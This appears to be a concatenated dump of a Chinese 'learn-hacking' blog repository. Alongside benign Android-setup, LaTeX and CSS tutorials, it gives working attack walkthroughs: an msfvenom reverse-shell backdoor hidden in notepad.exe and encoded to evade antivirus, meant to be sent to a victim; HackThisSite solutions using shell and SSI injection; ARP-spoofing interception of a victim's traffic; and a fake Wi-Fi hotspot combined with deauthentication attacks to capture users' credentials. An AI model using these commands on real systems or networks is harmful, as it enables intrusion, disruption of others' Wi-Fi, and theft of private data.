session 1 opened (192.168.0.1:41614 -> 192.168.0.108:4444) at 2016-04-15 17:29:32 55 | 56 | meterpreter > 57 | ``` 58 | 59 | 现在你就可以控制目标主机了,可以截屏、录音、视频、下载文件、杀进程等等;使用help查看可以执行的命令。 60 | 61 | **** 62 | 63 | ## 演示使用后门程序侵入Windows 64 | 65 | 原理:在Kali Linux上生成后门程序,然后把它发送给受害者,欺骗受害者运行(使用邮件、图片等等)。难点是需要过杀毒软件和防火墙。 66 | 67 | 生成后门程序: 68 | 69 | 我把后门程序隐藏到记事本程序中:notepad.exe 70 | 71 | 查看Kali Linux的IP:ifconfig(192.168.0.112) 72 | 73 | 创建后门程序,my_backdoor.exe: 74 | 75 | {% highlight shell %} 76 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4445 -x NOTEPAD.EXE -e x86/jmp_call_additive -i 4 -k -f exe > my_backdoor.exe 77 | {% endhighlight %} 78 | 79 | ![msfconsole]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-15 18-24-42.png) 80 | 81 | 上面命令使用加密试图躲过杀毒软件,但是,不要期望它可以生效。使用man msfvenom查看帮助。 82 | 83 | 把它发送到Windows系统,并运行;如果不能运行换用其他加密方式。 84 | 85 | 启动msfconsole: 86 | 87 | {% highlight shell %} 88 | # msfconsole 89 | {% endhighlight %} 90 | 91 | ``` 92 | use exploit/multi/handler 93 | 94 | set LHOST 192.168.0.112 95 | set LPORT 4445 96 | set payload windows/meterpreter/reverse_tcp 97 | show options 98 | exploit 99 | ``` 100 | 101 | 等待受害者启动后门程序。 102 | 103 | ![msfconsole]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-15 19-01-13.png) 104 | 105 | OK,入侵成功。 106 | 107 | ![msfconsole]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-15 19-08-43.png) 108 | 109 | **** 110 | 111 | [Metasploit的基本使用](http://topspeedsnail.com/kali-linux-metasploit-base-use/) 112 | 113 | [演示使用Metasploit入侵Android](http://topspeedsnail.com/kali-linux-metasploit-hack-android/) -------------------------------------------------------------------------------- /hackthissite/Basic.md: -------------------------------------------------------------------------------- 1 | ### Lv1: 2 | 3 | sam把密码写到了html中;在Html中找密码;密码是`ab7b6ce8`: 4 | 5 | ![lv1](https://github.com/tiancode/learn-hacking/blob/master/hackthissite/image/Screen%20Shot%202016-05-09%20at%2016.36.37.png) 6 | 7 | *** 8 | 9 | ### Lv2: 10 | 11 | Sam使用脚本判断用户输入的密码是否和文件中的明文密码匹配,但是他忘记了上传密码文件;直接提交就可以(Null == Null)。 12 | 13 | *** 14 | 15 | ### Lv3: 16 | 17 | 承接上一题,Sam提交了这个文件,but there were deeper problems than that。 18 | 19 | 找到判断密码的脚本文件password.php: 20 | 21 | ![Lv3](https://github.com/tiancode/learn-hacking/blob/master/hackthissite/image/Screen%20Shot%202016-05-09%20at%2017.14.06.png) 22 | 23 | 访问 直接获取密码:5e9fadc2。 24 | 25 | *** 26 | 27 | ### Lv4: 28 | 29 | Samc创建了一个php脚本用来发送他的密码;更改html中sam的邮件地址为自己的邮件地址: 30 | 31 | ![Lv4](https://github.com/tiancode/learn-hacking/blob/master/hackthissite/image/Screen%20Shot%202016-05-09%20at%2017.32.21.png) 32 | 33 | 点击Send password to Sam: 34 | 35 | ![Lv4](https://github.com/tiancode/learn-hacking/blob/master/hackthissite/image/Screen%20Shot%202016-05-09%20at%2017.28.10.png) 36 | 37 | *** 38 | 39 | ### Lv6: 40 | 41 | Sam使用算法加密了他的密码,我们需要破解这个算法,幸运的是这个算法是可以公开的。 42 | 43 | 输入abcdef1234,加密为acegik79;= 44 | 45 | abcdef012345 -> acegik68:<>@ 46 | 47 | abcdef -> acegik 48 | 49 | ABCEDF -> ACEGIK 50 | 51 | 012345678 -> 02468:<>@B 52 | 53 | a0123456 -> a13579;= 54 | 55 | 多输入几个查看规律;C语言解密代码: 56 | 57 | ``` 58 | #include 59 | #include 60 | 61 | void decrypt(char *str, char* out) 62 | { 63 | for(int i = 0; i < strlen(str); i++) 64 | { 65 | out[i] = str[i] - i; 66 | } 67 | } 68 | 69 | int main(int argc, char *argv[]) 70 | { 71 | char out[32] = {0}; 72 | decrypt("57d9;hg=", out); 73 | printf("%s\n", out); 74 | } 75 | ``` 76 | 77 | Sam的加密密码为57d9;hg=,原密码是:56b67ca6 78 | 79 | *** 80 | 81 | ### Lv7: 82 | 83 | 看完描述,最先想到的攻击方式就是shell注入攻击。 84 | 85 | 输入`2016;ls`;找到当前目录的密码文件`k1kh31b1n55h.php`,然后访问 查看密码:63474cd3 86 | 87 | *** 88 | 89 | ### Lv8: 90 | 91 | Sam的女儿用PHP写了一些php代码保存文件。 92 | 93 | 提示:[Server-Side Includes (SSI) Injection](https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection) 94 | 95 | 输入:` ` , 访问[au12ha39vc.php](https://www.hackthissite.org/missions/basic/8/au12ha39vc.php) 获得密码:e1361dfd 96 | 97 | *** 98 | 99 | ### Lv9: 100 | 101 | 描述中已有提示;和Lv8使用的方法一样,需要借助Lv8获得Lv9的密码。 102 | 103 | 在Lv8输入: 104 | 105 | ``` 106 | 107 | ``` 108 | 109 | 访问 [p91e283zc3.php](https://www.hackthissite.org/missions/basic/9/p91e283zc3.php) 获得密码:b0ae2407 110 | -------------------------------------------------------------------------------- /_posts/2016-4-18-kali-linux-preform-man-in-middle-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用Kali Linux执行中间人攻击(演示) 4 | --- 5 | 6 | 中间人攻击也叫Man-In-The-Middle-Attack。 7 | 8 | 我假设你已经知道中间人攻击的基本概念,引用一段wikipedia: 9 | 10 | > 中间人攻击(Man-in-the-middle attack,缩写:MITM)是指攻击者与通讯的两端分别建立独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容。在许多情况下这是很简单的(例如,在一个未加密的Wi-Fi 无线接入点的接受范围内的中间人攻击者,可以将自己作为一个中间人插入这个网络)。 11 | > 12 | > 一个中间人攻击能成功的前提条件是攻击者能将自己伪装成每一个参与会话的终端,并且不被其他终端识破。中间人攻击是一个(缺乏)相互认证的攻击。大多数的加密协议都专门加入了一些特殊的认证方法以阻止中间人攻击。例如,SSL协议可以验证参与通讯的一方或双方使用的证书是否是由权威的受信任的数字证书认证机构颁发,并且能执行双向身份认证。 13 | 14 | 我画了一个简单的图示: 15 | 16 | ![kali Linux ip]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-18 at 15.24.19.png) 17 | 18 | * 受害者IP地址:192.168.0.106 19 | * Kali Linux的IP地址:192.168.0.112,使用网络接口wlan0 20 | * 路由器IP地址:192.168.0.1 21 | 22 | 使用到的工具: 23 | 24 | * arpspoof 25 | * driftnet 26 | * urlsnarf 27 | 28 | ## 打开端口转发 29 | 30 | 确保Kali Linux打开端口转发,因为Kali Linux要起到中转的作用,开启方法: 31 | 32 | * [Linux开启端口转发](http://blog.topspeedsnail.com/archives/4384) 33 | 34 | ## 拦截数据包 35 | 36 | *受害者->路由器:* 37 | 38 | {% highlight shell %} 39 | # arpspoof -i wlan0 -t 192.168.0.106 192.168.0.1 40 | {% endhighlight %} 41 | 42 | > arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch. 43 | 44 | ![Kali Linux 中间人攻击]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 15-35-30.png) 45 | 46 | *路由器->受害者:* 47 | 48 | 再打开一个终端,执行: 49 | 50 | {% highlight shell %} 51 | # arpspoof -i wlan0 -t 192.168.0.1 192.168.0.106 52 | {% endhighlight %} 53 | 54 | 经过执行上面两个命令,现在受害者电脑接收和发送的所有数据包都经过Kali Linux,这时你就可以使用抓包分析工具了(Wireshark)。 55 | 56 | 攻击原理:攻击者说服受害者计算机-攻击者计算机的Mac地址就是路由器的Mac地址。 57 | 58 | ## driftnet:监控受害者电脑的图片流量 59 | 60 | > Driftnet watches network traffic, and picks out and displays JPEG and GIF images for display. It is an horrific invasion of privacy and shouldn't be used by anyone anywhere. It has been described as `a graphical tcpdump(8)', `EtherPeg for Unix', and called all sorts of nasty names by people on Freshmeat. It is also possible to use driftnet to capture MPEG audio data from the network and play it through a player such as mpg123(1). 61 | 62 | *It is an horrific invasion of privacy and shouldn't be used by anyone anywhere.* 63 | 64 | 打开新终端,执行: 65 | 66 | {% highlight shell %} 67 | # driftnet -i wlan0 68 | {% endhighlight %} 69 | 70 | 当受害者电脑浏览带图片的网站(http)时,可以截获图像: 71 | 72 | ![Kali Linux 中间人攻击]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 16-05-16.png) 73 | 74 | 数据加密可以有效防止中间人攻击。 75 | 76 | ## urlsnarf:获得受害者的HTTP请求 77 | 78 | > urlsnarf outputs all requested URLs sniffed from HTTP traffic in CLF(Common Log Format, used by almost all web servers), suitable for off‐line post-processing with your favorite web log analysis tool (analog,wwwstat, etc.). 79 | 80 | 截获受害者浏览的http请求: 81 | 82 | ![Kali Linux 中间人攻击]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 16-15-11.png) 83 | 84 | sslstrip:自行查看man手册 85 | 86 | ************ 87 | 88 | [Kali Linux ettercap的使用](http://topspeedsnail.com/kali-linux-ettercap-arp-spoof-attack/) 89 | 90 | [更改Kali Linux MAC地址](http://blog.topspeedsnail.com/archives/4387) 91 | 92 | [在Wifi网络中嗅探明文密码(HTTP POST请求)](http://topspeedsnail.com/wireshark-hack-http-post-password/) 93 | 94 | [演示使用Metasploit入侵Android](http://topspeedsnail.com/kali-linux-metasploit-hack-android/) 95 | 96 | [演示使用Metasploit入侵Windows](http://topspeedsnail.com/kali-linux-n-hack-windows-xp/) 97 | 98 | [使用Hydra通过ssh破解密码](http://topspeedsnail.com/kydra-crack-ssh-and-avoid-attack/) -------------------------------------------------------------------------------- /_posts/2016-4-11-android-reversing-env-setup.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Android逆向工程基本环境设置 4 | --- 5 | 6 | 本文的环境搭建方法适用于Linux系统。由于我使用的是Kali Linux,所以下面的安装命令可以用在基于Debian的Linux发行版上。其实在其他操作系统上也大同小异,像Mac OSX和Windows。 7 | 8 | ### 安装JDK 9 | 10 | Kail Linux已经默认安装了Java jdk,dex2jar,dexdump,aapt等工具。 11 | 12 | {% highlight shell %} 13 | # apt-get install openjdk-8-jdk 14 | {% endhighlight %} 15 | 16 | ### 安装android SDK 17 | 18 | 去Android官网下载:。 19 | 20 | 根据使用的操作系统版本下载对应的sdk: 21 | 22 | ![android sdk]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-11 18-56-14.png) 23 | 24 | {% highlight shell %} 25 | # cd ~ 26 | # wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz 27 | {% endhighlight %} 28 | 29 | 解压下载的压缩包: 30 | 31 | {% highlight shell %} 32 | # tar zvxf android-sdk_r24.4.1-linux.tgz 33 | {% endhighlight %} 34 | 35 | 把sdk放到恰当的目录,我放在`/opt/android-sdk`下。创建目录: 36 | 37 | {% highlight shell %} 38 | # mv android-sdk-linux /opt/android-sdk 39 | {% endhighlight %} 40 | 41 | 把tools目录添加到环境变量,在~/.bashrc文件尾加入: 42 | 43 | ``` 44 | export PATH=/opt/android-sdk/tools:$PATH 45 | ``` 46 | 47 | 使环境变量生效: 48 | 49 | {% highlight shell %} 50 | # source ~/.bashrc 51 | {% endhighlight %} 52 | 53 | 打开Android SDK管理器,安装各种开发工具和库: 54 | 55 | {% highlight shell %} 56 | # android 57 | {% endhighlight %} 58 | 59 | ![android sdk]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-11 20-35-03.png) 60 | 61 | 把platform-tools目录添加到环境变量,在~/.bashrc文件尾加入: 62 | 63 | ``` 64 | export PATH=/opt/android-sdk/platform-tools:$PATH 65 | ``` 66 | 67 | 如果有需要,也可以把/opt/android-sdk/build-tools目录加到环境变量中。 68 | 69 | 使环境变量生效: 70 | 71 | {% highlight shell %} 72 | # source ~/.bashrc 73 | {% endhighlight %} 74 | 75 | ### 安装android NDK 76 | 77 | 去官网下载: 78 | 79 | 根据使用的操作系统版本下载对应的ndk: 80 | 81 | ![android ndk]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-11 at 21.07.47.png) 82 | 83 | {% highlight shell %} 84 | # cd ~ 85 | # wget http://dl.google.com/android/repository/android-ndk-r11c-linux-x86_64.zip 86 | {% endhighlight %} 87 | 88 | 解压下载的压缩包: 89 | 90 | {% highlight shell %} 91 | # unzip android-ndk-r11c-linux-x86_64.zip 92 | {% endhighlight %} 93 | 94 | 移动到/opt/android-ndk: 95 | 96 | {% highlight shell %} 97 | # mv android-ndk-r11c /opt/android-ndk 98 | {% endhighlight %} 99 | 100 | 把android-ndk目录添加到环境变量,在~/.bashrc文件尾加入: 101 | 102 | ``` 103 | export PATH=/opt/android-ndk:$PATH 104 | ``` 105 | 106 | 使环境变量生效: 107 | 108 | {% highlight shell %} 109 | # source ~/.bashrc 110 | {% endhighlight %} 111 | 112 | ### 下载android源码 113 | 114 | 创建/opt/bin目录: 115 | 116 | {% highlight shell %} 117 | # mkdir /opt/bin 118 | {% endhighlight %} 119 | 120 | 把这个目录添加到环境变量: 121 | 122 | ``` 123 | export PATH=/opt/bin:$PATH 124 | ``` 125 | 126 | 下载repo工具并添加可执行权限: 127 | 128 | {% highlight shell %} 129 | # curl https://storage.googleapis.com/git-repo-downloads/repo > /opt/bin/repo 130 | # chmod a+x /opt/bin/repo 131 | {% endhighlight %} 132 | 133 | 初始化repo: 134 | 135 | {% highlight shell %} 136 | # repo init -u https://android.googlesource.com/platform/manifest 137 | {% endhighlight %} 138 | 139 | 下载源码: 140 | 141 | {% highlight shell %} 142 | # cd ~ 143 | # mkdir WORKING_DIRECTORY 144 | # cd WORKING_DIRECTORY 145 | {% endhighlight %} 146 | 147 | {% highlight shell %} 148 | # repo sync 149 | {% endhighlight %} 150 | 151 | ### 安装Apktool工具 152 | 153 | Kali linux自带这个工具,如果没有去[这里](http://ibotpeaches.github.io/Apktool/>)下载安装。 154 | 155 | **** 156 | 157 | [移除Android应用广告-Android逆向工程](http://topspeedsnail.com/android-reversing-remove-ad/) 158 | 159 | [学习Android逆向工程](http://topspeedsnail.com/start-learn-android-reversing/) -------------------------------------------------------------------------------- /_posts/2016-3-28-e-latex-math-formlar.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: LaTeX简要教程5:数学公式排版 4 | --- 5 | 6 | 在LaTeX中有两种对数学公式排版的模式。第一种是使用$符号嵌入到的你的文本中;第二种是使用数学"环境"。下面举几个例子说明。 7 | 8 | ### 把数学公式嵌入到文本中 9 | 10 | 只要把数学公式放在两个$符号之间,例如: 11 | 12 | {% highlight tex %} 13 | \documentclass{article} 14 | 15 | \begin{document} 16 | 17 | Power of Two is $f(x) = x^2$ balabala 18 | 19 | \end{document} 20 | {% endhighlight %} 21 | 22 | 生成的pdf: 23 | 24 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 16.40.00.png) 25 | 26 | ### 数学公式环境 27 | 28 | 使用equation环境,在这个环境中的代码都会渲染成数学公式,例: 29 | 30 | {% highlight tex %} 31 | \documentclass{article} 32 | 33 | \usepackage{amsmath} 34 | 35 | \begin{document} 36 | 37 | \begin{equation*} 38 | 1 + 2 = 3 39 | \end{equation*} 40 | 41 | \begin{equation*} 42 | 1 = 3 - 2 43 | \end{equation*} 44 | 45 | % 按等号对齐;两个斜杠代表换行,第一个斜杠是转译字符; 46 | \begin{align*} 47 | 1 + 2 &= 3\\ 48 | 1 &= 3 - 2 49 | \end{align*} 50 | 51 | \end{document} 52 | {% endhighlight %} 53 | 54 | 生成的pdf: 55 | 56 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 16.52.59.png) 57 | 58 | ### 分式、积分等 59 | 60 | LaTeX可以显示任何数学符号,下面以分数和积分为例。每个命令都有特定的参数,例: 61 | 62 | {% highlight tex %} 63 | \documentclass{article} 64 | 65 | \usepackage{amsmath} 66 | 67 | \begin{document} 68 | 69 | \begin{align*} 70 | f(x) &= x^2\\ 71 | g(x) &= \frac{1}{x}\\ 72 | F(x) &= \int^a_b \frac{1}{3}x^3 73 | \end{align*} 74 | 75 | \end{document} 76 | {% endhighlight %} 77 | 78 | 生成的pdf: 79 | 80 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 16.59.01.png) 81 | 82 | 你也可以在命令中嵌套命令,这允许你实现更复杂的公式,例: 83 | 84 | {% highlight tex %} 85 | \documentclass{article} 86 | 87 | \begin{document} 88 | 89 | $\frac{1}{\sqrt{x}}$ 90 | 91 | \end{document} 92 | {% endhighlight %} 93 | 94 | 生成的pdf: 95 | 96 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 17.05.36.png) 97 | 98 | 表达式越复杂越容易出错,一定要注意{}的对应。你也可以使用公式编辑器(Lyx)编写公式。 99 | 100 | ### 矩阵 101 | 102 | LaTeX还可以显示矩阵,放在matrix环境中,例: 103 | 104 | {% highlight tex %} 105 | \documentclass{article} 106 | 107 | \usepackage{amsmath} 108 | 109 | \begin{document} 110 | 111 | \begin{align*} 112 | \begin{matrix} 113 | 1 & 0\\ 114 | 0 & 1 115 | \end{matrix} 116 | \end{align*} 117 | 118 | \end{document} 119 | {% endhighlight %} 120 | 121 | 矩阵只能在数学环境中使用。 122 | 123 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 17.18.45.png) 124 | 125 | 带 [ ] 的矩阵模式: 126 | 127 | {% highlight tex %} 128 | \documentclass{article} 129 | 130 | \usepackage{amsmath} 131 | 132 | \begin{document} 133 | 134 | \begin{align*} 135 | \left[ 136 | \begin{matrix} 137 | 1 & 0\\ 138 | 0 & 1 139 | \end{matrix} 140 | \right] 141 | \end{align*} 142 | 143 | \end{document} 144 | {% endhighlight %} 145 | 146 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 17.26.14.png) 147 | 148 | 其实,left和right可以用到任何公式中: 149 | 150 | {% highlight tex %} 151 | \documentclass{article} 152 | 153 | \usepackage{amsmath} 154 | 155 | \begin{document} 156 | 157 | $\left(\frac{1}{\sqrt{x}}\right)$ 158 | 159 | \end{document} 160 | {% endhighlight %} 161 | 162 | 生成的pdf: 163 | 164 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 17.28.17.png) 165 | 166 | ******* 167 | 168 | ## 常用的LaTeX数学命令: 169 | 170 | 三角函数: 171 | 172 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 17.32.28.png) 173 | 174 | 微积分: 175 | 176 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 17.34.51.png) 177 | 178 | .->\cdot;⋯->\cdots 179 | 180 | 其他: 181 | 182 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-28 at 17.37.56.png) 183 | 184 | > 完整的LATEX符号表: -------------------------------------------------------------------------------- /_posts/2016-5-24-fake-wifi-access-point-and-capture-all-data.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 创建假的wifi热点 4 | --- 5 | 6 | 本帖介绍怎么创建假的wifi热点,然后抓取连接到这个wifi用户的敏感数据。我们还会给周围的无线路由器发送未认证的包,使这些路由器瘫痪,强迫用户连接(或自动连接)我们创建的假wifi热点。 7 | 8 | 这种攻击也叫"水坑攻击"-把其他用户都聚集到一个"坑"中。 9 | 10 | ## 系统要求: 11 | 12 | * Kali Linux 13 | * 本地有线网络连接(网络接口 eth0) 14 | * 无线网卡支持包注入模式和监控模式 (网络接口 wlan0) 15 | * 各种抓包工具-Wireshark、 ettercap、tcpdump... 16 | 17 | ### 获得默认网关 18 | 19 | {% highlight shell %} 20 | # route -n 21 | {% endhighlight %} 22 | 23 | ![创建假的wifi热点]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-23 at 18.50.18.png) 24 | 25 | 这个值在设置iptables时会用到。 26 | 27 | ### 安装DHCP服务 28 | 29 | 用处: 为连接假wifi的用户分配IP。 30 | 31 | {% highlight shell %} 32 | # apt-get install isc-dhcp-server 33 | {% endhighlight %} 34 | 35 | 配置DHCP: 36 | 37 | {% highlight shell %} 38 | # vim /etc/dhcp/dhcpd.conf 39 | {% endhighlight %} 40 | 41 | 文件中内容: 42 | 43 | ``` 44 | authoritative; 45 | default-lease-time 600; 46 | max-lease-time 7200; 47 | 48 | subnet 192.168.10.0 netmask 255.255.255.0 { 49 | option routers 192.168.10.1; 50 | option subnet-mask 255.255.255.0; 51 | option domain-name "freewifi"; 52 | option domain-name-servers 8.8.8.8,8.8.4.4,192.168.0.1; 53 | range 192.168.10.100 192.168.10.140; 54 | } 55 | ``` 56 | 57 | 先不启动DHCP服务。 58 | 59 | ### 进入无线网卡的监控模式 60 | 61 | {% highlight shell %} 62 | # airmon-ng start wlan0 63 | # airmon-ng check kill 64 | {% endhighlight %} 65 | 66 | 把wlan0替换为你的无线网卡接口。 67 | 68 | 要退出监控模式,执行: 69 | 70 | {% highlight shell %} 71 | # airmon-ng stop wlan0mon 72 | {% endhighlight %} 73 | 74 | ### 创建wifi热点 75 | 76 | {% highlight shell %} 77 | # airbase-ng -c 11 -e fake_wifi wlan0mon 78 | {% endhighlight %} 79 | 80 | ![创建假的wifi热点]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-24 at 09.06.55.png) 81 | 82 | 不要终止这个命令。 83 | 84 | ![创建假的wifi热点]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-24 at 09.20.04.png) 85 | 86 | 现在你已经创建了一个wifi热点,但是这个wifi目前还不能连接。 87 | 88 | ### 设置网络和防火墙规则 89 | 90 | ``` 91 | # ifconfig at0 up 92 | # ifconfig at0 192.168.10.1 netmask 255.255.255.0 93 | # ifconfig at0 mtu 1400 94 | # route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1 95 | # iptables --flush 96 | # iptables --table nat --flush 97 | # iptables --delete-chain 98 | # iptables --table nat --delete-chain 99 | # echo 1 > /proc/sys/net/ipv4/ip_forward 100 | # iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1 101 | # iptables -P FORWARD ACCEPT 102 | # iptables --append FORWARD --in-interface at0 -j ACCEPT 103 | # iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE 104 | ``` 105 | 106 | ### 启动DHCP服务 107 | 108 | {% highlight shell %} 109 | # dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 110 | # systemctl start isc-dhcp-server 111 | {% endhighlight %} 112 | 113 | 遇到的问题: 114 | 115 | ``` 116 | PID file: /var/run/dhcpd.pid 117 | Can't open lease database /var/lib/dhcp/dhcpd.leases: No such file or directory -- 118 | ``` 119 | 120 | 创建这个文件解决这个问题: 121 | 122 | {% highlight shell %} 123 | # mkdir /var/lib/dhcp/ 124 | # touch /var/lib/dhcp/dhcpd.leases 125 | {% endhighlight %} 126 | 127 | 到此,wifi热点创建完成。 128 | 129 | ![创建假的wifi热点]({{ site.baseurl }}/images/2016/5/S60524-201256.jpg) 130 | 131 | ![创建假的wifi热点]({{ site.baseurl }}/images/2016/5/S60524-201355.jpg) 132 | 133 | ### 瘫痪其他路由 134 | 135 | 列出周围的wifi: 136 | 137 | {% highlight shell %} 138 | # airodump-ng wlan0mon 139 | {% endhighlight %} 140 | 141 | 然后选择你的目标,记住BSSID和频道。 142 | 143 | 设置频道: 144 | 145 | {% highlight shell %} 146 | # iwconfig wlan0mon channel <频道号> 147 | {% endhighlight %} 148 | 149 | 开始deauthentication攻击: 150 | 151 | {% highlight shell %} 152 | # aireplay-ng -0 5000 -a wlan0mon --ignore-negative-one 153 | {% endhighlight %} 154 | 155 | **** 156 | 157 | OK,现在你可以愉快的抓包了。 158 | 159 | *** 160 | 161 | 例如使用Wireshark抓包: 162 | 163 | ![创建假的wifi热点]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-24 20-12-12.png) 164 | 165 | 上图抓到了我手机邮件客户端登录的邮箱账户。 166 | 167 | **** 168 | 169 | > 更多: -------------------------------------------------------------------------------- /_posts/2016-3-23-use-css-make-heart.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用CSS绘制桃心 4 | --- 5 | 6 | CSS3扩展了html和css的功能,它允许我们实现更复杂的样式。下面让我们看看,怎么使用css创建桃心形状。 7 | 8 | ![桃心]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-23 at 20.40.06.png) 9 | 10 | 桃心可以通过两个基本的形状组成,一个正方形和两个圆形,如下图: 11 | 12 | ![桃心]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-23 at 20.33.31.png) 13 | 14 | 把上图顺时针旋转45度就是一个桃心。 15 | 16 | 创建一个基本的html页面: 17 | 18 | {% highlight html %} 19 | 20 | 21 | 绘制桃心 22 | 23 | 24 | 25 | 35 | 36 | 37 |
38 | 39 | 40 | 41 | {% endhighlight %} 42 | 43 | 上面代码绘制了一个正方形: 44 | 45 | ![红正方型]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-23 at 20.57.52.png) 46 | 47 | 然后在正方形的左边绘制一个圆-在同等大小的正方形上内切出一个圆: 48 | 49 | {% highlight css %} 50 | .my_true_heart:before{ 51 | position: absolute; 52 | bottom: 0px; 53 | left: -100px; 54 | width: 200px; 55 | height: 200px; 56 | content: ''; 57 | -webkit-border-radius: 50%; 58 | -moz-border-radius: 50%; 59 | -o-border-radius: 50%; 60 | border-radius: 50%; 61 | background-color: rgba(255,15,24, 0.8); 62 | } 63 | .my_true_heart:before{ 64 | bottom: 0px; 65 | left: -100px; 66 | } 67 | {% endhighlight %} 68 | 69 | 再在上方绘制同样的一个圆: 70 | 71 | {% highlight css %} 72 | .my_true_heart:after{ 73 | position: absolute; 74 | width: 200px; 75 | height: 200px; 76 | content: ''; 77 | -webkit-border-radius: 50%; 78 | -moz-border-radius: 50%; 79 | -o-border-radius: 50%; 80 | border-radius: 50%; 81 | background-color: rgba(255,15,24, 0.8); 82 | } 83 | .my_true_heart:after{ 84 | top: -100px; 85 | right: 0px; 86 | } 87 | {% endhighlight %} 88 | 89 | ![桃心]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-23 at 20.33.31.png) 90 | 91 | 顺时针旋转桃心45度,在my_true_heart中加入: 92 | 93 | {% highlight css %} 94 | -webkit-transform: rotate(45deg); 95 | -moz-transform: rotate(45deg); 96 | -ms-transform: rotate(45deg); 97 | -o-transform: rotate(45deg); 98 | transform: rotate(45deg); 99 | {% endhighlight %} 100 | 101 | 把透明度调整为1,完整代码如下: 102 | 103 | {% highlight html %} 104 | 105 | 106 | 绘制桃心 107 | 108 | 109 | 110 | 157 | 158 | 159 |
160 | 161 | 162 | 163 | {% endhighlight %} 164 | 165 | ![桃心]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-23 at 20.40.06.png) 166 | 167 | --------------------------------------------------------------------------------